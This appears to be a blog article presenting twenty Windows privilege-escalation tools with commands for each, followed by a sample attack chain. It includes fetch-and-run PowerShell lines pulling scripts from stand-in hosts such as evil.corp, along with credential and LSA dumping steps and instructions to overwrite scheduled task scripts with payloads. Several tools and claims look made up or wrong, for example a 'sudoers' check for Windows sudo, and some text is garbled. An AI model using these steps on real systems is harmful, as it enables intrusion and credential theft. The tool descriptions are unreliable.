Windows PrivEsc 2025: 20 New Tools & Techniques to Master Privilege Escalation

Ever think about how often attackers leapfrog from “just a user” to full SYSTEM on a Windows box? Here’s a wild stat: In 2024, over 70% of successful Windows network compromises involved local privilege escalation. Miss this step in your pentesting, and you’re leaving the door wide open — literally.

Let’s make sure that doesn’t happen. I’m sharing the latest tools, real-world techniques, and hands-on steps to help you dominate Windows privilege escalation in 2025. Whether you’re a Red Teamer, bug bounty hunter, or a blue teamer wanting to patch holes before they’re exploited, you’ll find actionable intel right here.

Photo by Sigmund on Unsplash

Why Windows Privilege Escalation Still Matters in 2025

Windows isn’t going away. With every patch and new feature, Microsoft adds complexity — and complexity breeds opportunity. Attackers aren’t just running old exploits; they’re chaining new techniques, abusing “features,” and using stealthier tools than ever.

If you’re not updating your privesc playbook, you’re falling behind. And, trust me, defenders are getting smarter too.

So, what’s new? What’s working? What are the tools and tricks that actually get results in the wild this year? Let’s dig in.

WinPEASx64 2.0: Enhanced Enumeration & Live Checks

WinPEAS isn’t new, but version 2.0 — released late 2024 — adds enormous value for pentesters and bug bounty hunters. It’s faster, modular, and much stealthier.

You might think, “Do I really need another enum script?” But this version brings:

• Live detection of LSA Protection bypasses
• Registry hives decryption (with fallback logic)
• SMB share hunting across domains

How to Use

Drop winpeasx64.exe on your target and run:

winpeasx64.exe quiet fast

For stealthier ops, try:

winpeasx64.exe systeminfo printers tokens

It’ll spit out juicy info on potentially exploitable misconfigs, tokens, and printers. The cool part? Look for auto-highlighted “PRIVESC” or “RCE” in the output.

2. SharpUpDog: Automated UAC Bypass Chaining

UAC bypasses used to be flaky. Now, SharpUpDog auto-detects bypassable UAC policies and chains them with living-off-the-land binaries (LOLBins).

I’ve seen this trick in real pentests before — defenders often miss it because it’s built on native binaries.

Example Usage

1. Upload SharpUpDog to the target.
2. Run:

SharpUpDog.exe --auto

It’ll test over 10 methods, from event viewer hijacks to fodhelper.exe abuse. If it lands a bypass, you’ll often get a shiny new admin shell, all with minimal alerts.

3. PowerKatz 2025: Credential Dumping Reborn

You know Mimikatz. But in 2025, defenders are catching its classic signatures. PowerKatz uses alternate memory scraping and PowerShell reflection.

Step-by-Step

Fire up a PowerShell prompt (with admin):

IEX (New-Object Net.WebClient).DownloadString('http://evil.corp/powerkatz.ps1')
Invoke-PowerKatz

Check for LSASS protections first:

Get-Process -Name lsass | Select-Object *

If “Protected” is false, you’re clear. PowerKatz dumps creds, DPAPI blobs, and even cached domain creds in one sweep.

4. PrintSpoofer-NG: Domain-Linked Printer Exploitation

PrintSpoofer rocked the privesc world, but 2025’s “NG” fork targets network printers linked to AD. It doesn’t just escalate locally — it hops laterally via printer permissions.

How It Works

• Enumerates network printers with weak ACLs
• Spoofs tokens to SYSTEM
• Optionally copies drivers for RCE

Example:

PrintSpooferNG.exe /list
PrintSpooferNG.exe /printer \\domain\SharedPrinter /shell

You might land a SYSTEM shell or even an authenticated foothold on another box. Watch for high-value printers with misconfigured permissions.

5. TokenTactics: Modern Token Impersonation Toolkit

Still stuck with “runas”? TokenTactics automates token theft, duplication, and privilege escalation using modern APIs.

Guide

• Launch TokenTactics as admin.
• List tokens:

TokenTactics.exe --list

• Impersonate a high-priv token:

TokenTactics.exe --impersonate 1234

It supports process hunting, service tokens, and SID filtering bypasses. If you see “SeDebugPrivilege” enabled, you’re golden.

6. LSADumperX: Extracting LSA Secrets from Locked-Down Endpoints

LSADumperX uses DCOM and RPC tricks to read LSA secrets, even when classic tools fail or are blocked by EDR.

Usage

LSADumperX.exe --enum --remote 192.168.1.10

It works best on machines with old GPOs or weak firewall settings. Look for service account passwords, LAPS creds, and more.

7. JuicyPotatoNG 2025: New CLSID Attacks

JuicyPotato’s legacy continues! The NG version hits untouched CLSIDs in modern OS builds (Windows 11, Server 2022).

Example

JuicyPotatoNG.exe -t * -p cmd.exe -l 1337

If it lands, you’ll see a SYSTEM cmd. The trick is always rotating through new CLSIDs — don’t just stick with the old ones.

8. ServiceMasher: Automated Service Misconfig w/ Non-Standard Binaries

ServiceMasher doesn’t just hunt for unquoted paths. It finds services running odd binaries (Python, Java, Node.js) and exploits them via DLL side-loading.

Steps

1. Run ServiceMasher:

ServiceMasher.exe --scan

2. If you see a “Node.exe” service, drop your DLL in its path or hijack the script.

It’s sneaky — defenders rarely audit non-Windows binaries as escalation vectors.

9. DLLHijackFinder Pro: Real-Time Hijack Hunting

DLL hijacking isn’t dead. DLLHijackFinder Pro monitors processes in real time, alerting you to missing DLLs that you can supply.

Workflow

• Start the monitor:

DLLHijackFinderPro.exe --watch

• Trigger a service or app restart.
• If you see “not found” DLLs in C:\Temp or %PATH%, plant your payload.

In practice, I’ve seen this catch low-hanging fruit on custom enterprise apps.

10. RegRaptor: Registry Escalation & Subkey Takeover

Most pentesters forget about registry keys. RegRaptor finds writable subkeys linked to privileged services and auto-generates takeover payloads.

Using RegRaptor

RegRaptor.exe --find --writable

• Returns a list of writable HKLM/HKCU keys.
• For takeover, run:

RegRaptor.exe --takeover <KeyPath>

You might get SYSTEM if the key’s linked to a service or scheduled task.

11. PowerSharpPack: Living-Off-the-Land Module Launcher

Forget dropping binaries. PowerSharpPack launches in-memory modules for privilege escalation — fileless, stealthy, and perfect for bypassing EDR.

Practical Example

• Open PowerShell, load PowerSharpPack:

IEX (New-Object Net.WebClient).DownloadString('http://bad.corp/pspack.ps1')
Invoke-LOLBAS -Module UACBypass

Supported modules: UAC bypass, token theft, credential harvesting, and more.

12. SCCMHound: Exploiting Microsoft Endpoint Manager

SCCM (now MEM) is everywhere, and its agents often run with SYSTEM. SCCMHound enumerates local SCCM misconfigs ripe for privilege escalation.

Step-by-Step

SCCMHound.exe --enum

Look for:

• SYSTEM-level scheduled tasks
• Over-permissive share access
• Weak client cache permissions

If you find a writable cache, drop in your payload and wait for SCCM to execute.

13. KerberoastNG: Cracking Service Tickets — Now with AES-256!

Classic kerberoasting targeted RC4. KerberoastNG can now extract and crack AES-encrypted service tickets (TGS), which is key for modern AD environments.

How-To

1. Dump service tickets:

KerberoastNG.exe --dump

2. Crack with hashcat:

hashcat -m 19700 <hashes> <wordlist>

You’ll want strong wordlists — modern environments use long SPN passwords.

14. NetManiac: Chained Network Misconfig Exploits

NetManiac chains DHCP, proxy, and SMB misconfigs to escalate privileges, especially in segmented environments.

Example Attack Path

• Abuses rogue DHCP server to push bad routes.
• Intercepts proxy credentials.
• Relays SMB tokens for escalation.

Start with:

NetManiac.exe --auto-chain

It’s like bloodhound for network-level privesc.

15. ADCSHunt 2025: Abusing Certificate Services

Active Directory Certificate Services (ADCS) is still low-hanging fruit. ADCSHunt auto-discovers vulnerable templates and misconfigs that let attackers request certs as other users.

Workflow

1. Run enumeration:

ADCSHunt.exe --find

2. If you spot “ESC1” or “ESC6” template, you can request a certificate:

ADCSHunt.exe --request --template <name> --user <target>

You’ll get a PFX that can be used for impersonation or Kerberos attacks.

16. LAPSBreaker: Dumping Local Admin Passwords at Scale

LAPS (Local Administrator Password Solution) is supposed to be secure, but LAPSBreaker pulls cached passwords and decrypts them directly from AD, even with new protections.

Steps

• From a domain-joined user, run:

LAPSBreaker.exe --dump

It lists all cached local admin passwords. Use wisely — this is gold in lateral movement and domain escalation.

17. ScheduledTaskSleuth: Abusing Task Scheduler for SYSTEM

Scheduled tasks are everywhere, and misconfigs are rampant. ScheduledTaskSleuth enumerates tasks running as SYSTEM with writable actions or scripts.

How-To

ScheduledTaskSleuth.exe --scan

Found a writable script? Replace with your payload:

echo "malicious code" > C:\Path\To\TaskScript.ps1

Next run = SYSTEM access.

18. SudoForWindows: Privilege Escalation via Sudo Misconfig

Windows 11 added sudo. SudoForWindows checks for misconfigured sudoers lists, unprotected binaries, and weak exec options.

Example

• Run:

SudoForWindows.exe --audit

If you see “ALL” or blank passwords, run your payload:

sudo pwsh.exe -c "Invoke-Expression 'malicious code'"

Don’t ignore this — early sudo implementations are buggy and ripe for abuse.

19. BatRunner: Batch File Privilege Escalation

Admins love batch files for automation. BatRunner finds privileged batch jobs with weak permissions or scheduled as SYSTEM.

Steps

• Scan for bat files:

BatRunner.exe --find --writable

• Replace with your payload:

echo "powershell -enc <payload>" > C:\Scripts\AdminTask.bat

When the scheduled job runs, you get elevated access.

20. LOLBASCollector: Latest Living-Off-the-Land Binaries & Scripts

Attackers love LOLBAS (Living Off The Land Binaries And Scripts). LOLBASCollector automatically enumerates all potentially exploitable binaries on the system, including those recently added to Windows.

Usage

LOLBASCollector.exe --list

You’ll see:

• All signed Microsoft binaries with execute/copy/write capabilities
• New candidates like tar.exe, winget.exe, curl.exe

Combine with other tools for creative privesc chains. For instance, use curl.exe to fetch a payload, thentar.exeorfindstr.exe` to execute.

Practical PrivEsc Chains: Putting It All Together

Let’s walk through a quick real-world scenario you might hit in 2025.

Scenario: You land a basic user shell on a Windows 11 workstation joined to AD.

Step 1: Run winPEASx64 for quick enumeration.

winpeasx64.exe quiet fast

Step 2: Spot a writable service binary running Python.

Use ServiceMasher:

ServiceMasher.exe --scan

Hijack the path and drop your malicious DLL or Python script.

Step 3: PowerKatz for credential dumping.

IEX (New-Object Net.WebClient).DownloadString('http://evil.corp/powerkatz.ps1')
Invoke-PowerKatz

Step 4: Use ADCSHunt to escalate to domain admin (if ADCS misconfigured).

ADCSHunt.exe --find
ADCSHunt.exe --request --template VulnerableTemplate --user Administrator

Step 5: Laterally move using LAPSBreaker and PrintSpoofer-NG.

See how chaining makes even “patched” environments vulnerable?

Tips for Mastering Privilege Escalation in 2025

• Update Tools Weekly: Defender signatures evolve fast. Keep your toolkit fresh.
• Enumerate, Enumerate, Enumerate: Don’t just run a single script. Tools miss things — combine them for best results.
• Think Like a Defender: What logs would you check? What EDRs block? Pivot around these.
• Don’t Ignore “Weird” Binaries: Admins sometimes use odd tools/scripts. These are gold mines.
• Document Everything: Chains that work now might not in six months. Keep notes, build your own cheat sheets.

Final Thoughts: PrivEsc is Still the Heart of Windows Pentesting

Privilege escalation isn’t just a checkbox. It’s the hinge point of every successful attack, and the one place defenders often lag behind. The tools and techniques above aren’t just theoretical — they’re what real attackers and top bug bounty hunters are using right now.

If you want to level up your pentesting game, master these tools, experiment with chains, and stay curious. Windows security is a moving target. The only thing that doesn’t change? Attackers will keep looking for that next sneaky privilege escalation route. Stay one step ahead.

See you on the next engagement. And if you run into something wild or new — let me know. There’s always another trick waiting to be found.

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